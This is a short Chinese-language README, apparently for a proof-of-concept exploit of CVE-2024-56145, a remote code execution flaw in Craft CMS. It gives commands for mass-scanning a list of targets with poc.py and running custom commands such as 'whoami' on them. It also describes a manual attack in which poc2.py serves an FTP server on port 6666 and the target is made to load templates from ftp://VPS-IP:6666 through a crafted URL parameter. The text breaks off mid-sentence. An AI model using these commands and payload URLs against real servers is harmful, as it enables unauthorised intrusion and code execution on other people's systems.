fuser -k 6666/tcp

python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200

也可使用自定义命令，例如 python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami"

-i 是你的 IP 或 VPS IP（通过 ipconfig / ifconfig 获取）。

例如 - python3 poc.py -f targets.txt -i 165.22.104.140 -pr 4 -t 200

手动利用，对你拥有的目标运行上述 poc.py，你将看到包含漏洞目标的输出文件

现在呢？你有漏洞目标但想进一步操作？所以我添加了 poc2.py，用于对目标进行手动测试，如何操作？执行 fuser -k 6666/tcp

1. 运行 poc2.py（端口 6666 启动为 FTP 服务）。
2. 在浏览器中打开 yourtarget.com/?--templatesPath=ftp://VPS-IP:6666/
3. 你将看到 -

CVE-2024-56145-craftcms-rce